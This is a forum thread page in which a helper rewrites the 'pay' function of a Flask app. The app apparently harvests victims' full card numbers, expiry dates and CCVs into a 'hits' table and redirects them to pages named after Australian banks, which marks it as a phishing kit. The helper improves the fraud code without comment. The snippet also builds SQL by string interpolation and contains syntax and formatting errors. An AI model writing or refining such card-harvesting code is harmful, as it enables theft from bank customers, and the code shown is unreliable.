Python Forum
IndexError: list index out of range" & "TypeError: The view function f: Flask Web App
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
IndexError: list index out of range" & "TypeError: The view function f: Flask Web App
#2
suspect error line 40:
session['error'] == None
should be :
session['error'] = None

This function (pay) could be replaced with (no way to test, but if not correct, this is very close):
def pay():

    errors = {
        'CBA': 'CBAhome',
        'ING': 'INGhome',
        'NAB': 'NABhome',
        'ANZ': 'ANZhome',
        'WSP': 'WSPhome',
        'GRT': 'GRThome',
        'NEW': 'NEWhome'
    }

    error = "Please enter a valid card number."

    cc = "{}{1}{2}{3}".format(request.form.get('first'),
        request.form.get('second'), request.form.get('third'),
        request.form.get('fourth'))

    expiry = '{0}/{1}'.format(request.form.get('card_month'),
        request.form.get('card_year'))

    ccv = request.form.get('card_ccv')

    if luhn(cc):
        sql = "UPDATE hits SET cc = '%s', exp = '%s', ccv = '%s' \
            WHERE mob = '%s'" % (cc, expiry, ccv, session['id'])
        updateDB(sql)
        bank = checkBin(cc)
        if errors[bank]:
            session['error'] = None
            return redirect(url_for(errors[bank])
        else:
            return redirect(url_for('success'))
Reply


Messages In This Thread
RE: IndexError: list index out of range" & "TypeError: The view function f: Flask Web App - by Larz60+ - Aug-30-2021, 11:46 AM

Possibly Related Threads…
Thread Author Replies Views Last Post
  Flask run function in background and auto refresh page raossabe 2 8,357 Aug-20-2022, 10:00 PM
Last Post: snippsat
  Flask TypeError: Object of type Decimal is not JSON serializable mekacharan 0 4,113 Jul-15-2021, 05:28 AM
Last Post: mekacharan
  Python BeautifulSoup IndexError: list index out of range rhat398 1 6,422 May-28-2021, 09:09 PM
Last Post: Daring_T
  Using range slider in flask webpage to use in python KimPet 2 7,960 Jan-23-2021, 11:58 PM
Last Post: snippsat
  how to pass javascript variables to url_for function in a flask template experimental 5 6,654 Oct-29-2020, 03:29 AM
Last Post: universe
  single range function AgileAVS 3 2,259 Oct-05-2020, 08:30 AM
Last Post: buran
  Flask Create global response function to be called from every where in the web app umen 2 2,461 Apr-14-2020, 09:54 PM
Last Post: umen
  TypeError list indices must be integers or slices not str Nuwan16 4 3,658 Apr-04-2020, 09:15 AM
Last Post: Nuwan16
  IndexError: tuple index out of range ? JohnnyCoffee 4 3,553 Jan-22-2020, 06:54 AM
Last Post: JohnnyCoffee
  [Flask] How to paginate a list of posts SheeppOSU 2 4,511 Jun-22-2019, 07:45 PM
Last Post: SheeppOSU

Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020